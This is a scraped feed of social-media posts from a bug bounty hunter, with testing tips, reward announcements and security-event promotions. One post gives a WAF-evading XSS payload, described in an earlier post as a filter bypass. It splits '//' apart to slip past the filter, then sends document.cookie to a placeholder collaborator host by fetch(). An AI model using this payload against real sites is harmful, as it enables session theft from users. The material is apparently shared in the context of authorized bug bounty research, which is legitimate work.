Harss25

@Intigriti Top 10 2025 Q2 | Bug Bounty Hunter | Security Researcher

[Harss25 @Harsh25NN]

@kihalkhaireddi1 Look for API Paths, and Authentication Logics for every API Paths

[Harss25 @Harsh25NN]

Just Reported these bugs on a single asset a few days ago.
- LFI
- Stored/Blind XSS
- Vertical Privilege Escalation (BAC)

Tip - Always Look For JS Files they might reveal paths/API Calls (Unauthorized🙃).

#BugBounty #bugbountytips

[Harss25 @Harsh25NN]

@11divk I bypassed it manually, sometime having a basic knowledge of Javascript helps in this.

[Harss25 @Harsh25NN]

Played around with a WAF in one of my reports

It was blocking '//' in payloads, but with a little tweak I managed to bypass it. Ended up turning it into a cookie-stealing XSS

Payload in comments

#BugBounty #bugbountytips #CyberSecurity

[Harss25 @Harsh25NN]

Unauth Partner Registration -> Admin Account Creation
&
IDOR - Changing Other Partner Details

Are these same bugs??? Even if Yes, still both are INFORMATIVE.

Btw these are In-Scope Assets.

@intigriti

#bugbounty #bugs #ethicalhacking

[Harss25 @Harsh25NN]

New Year.. New Duplicates ‼️

#bugbounty #bugbountytips #cybersecurity #intigriti #bugcrowd #newyear

[Harss25 @Harsh25NN]

@Behi_Sec Not True. I have seen many hunters with zero dev knowledge and still doing good in bug bounties.

[Harss25 @Harsh25NN]

Imagine finding .htaccess, getting told it’s out of scope, and then calling it to ‘expose infra’💀

Real hunters: move on & learn.
Fake ones: write blogs and call it ‘fraud’. @ElonVsKalki

Bro speedran the path from bounty hunter to bounty clown🤡

#bugbounty #cyber #intigriti

[Harss25 @Harsh25NN]

@awakened_other @intigriti @Raman_Mohurle Yes, Private Invites

[Harss25 @Harsh25NN]

Just Got Rewarded at @intigriti
🤑$$$$

Tip:- Fuzz the endpoints/path of one domain to other domains.

mno[.]abc[.]com/logs -> 403
xyz[.]abc[.]com/logs -> 200

#intigriti #bugbounty #cybersecurity #bugreport #bounty #reward #hackerone #bugcrowd

[Harss25 @Harsh25NN]

@BsidesMussoorie @Bugcrowd @StandoffBB @Hacker0x01 @SecurityBSides @yeswehack @intigriti @Raman_Mohurle @varad_mene

[Harss25 @Harsh25NN]

Waiting for the Tickets 🎫🙂

[Security Bsides Mussoorie @BsidesMussoorie]

Do you want this exclusive Limited edition #BSidesMussoorie Hoodie?

Follow us, Retweet, Tag your Friends
and stay tuned

@Bugcrowd
@StandoffBB
@Hacker0x01
@SecurityBSides
@yeswehack
@intigriti

#CyberSecurity
#BugBounty
#ctfchallenge

[Harss25 @Harsh25NN]

@BarracksArmy Really.. A Wonderful Experience 🔥

[Varad_PM @varad_mene]

Late night grind w/ @Raman_Mohurle & @Harsh25NN 🔥💻
@bsidesahmedabad 2025 Wargames
@BarracksArmy
#bsidesahmedabad

[Harss25 @Harsh25NN]

@QWERTYRBG Soon....

[Harss25 @Harsh25NN]

Payload - /"><script>let c = document.cookie;alert("Cookie: " + );let h = 'https:' + '/' + '/' + 'collab-link';fetch(h + '/%3fc=' + c);</script>

[Harss25 @Harsh25NN]

@r00t_ak @intigriti @CocaColaCo No Half bugs were from automation, half from manual

[Harss25 @Harsh25NN]

Made it to @intigriti Top 10 (2025 Q2) and Top 2 all-time on @CocaColaCo VDP.

Really happy about this — it’s been a fun ride so far.
From the next post, I’ll start sharing some tips and things I’ve learned along the way.

#BugBounty #Intigriti #Hacked #bugbountytips

[Harss25 @Harsh25NN]

Many hunters miss out on chaining and minor findings — but that’s where the gold is.
We’ve dropped a new lab[ 0N3_P1ECE By @Raman_Mohurle ] on our HICA.CTF platform to help you master this art.

Ready to think deeper? Join in.
https://t.co/kkqsw9wY9g

@HICA_Community
#BugBounty

[HICA @HICA_Community]

Join the HackerOne @Hacker0x01 In-Person Hacking Meetup in Pune!

Date: 26th & 27th April
Don’t miss out on live hacking, networking & swag!

Register now: https://t.co/zARCvLdI7A

#HackerOne #BugBounty #Cybersecurity #PuneHackers #HICA #bytebloggerbase #meetup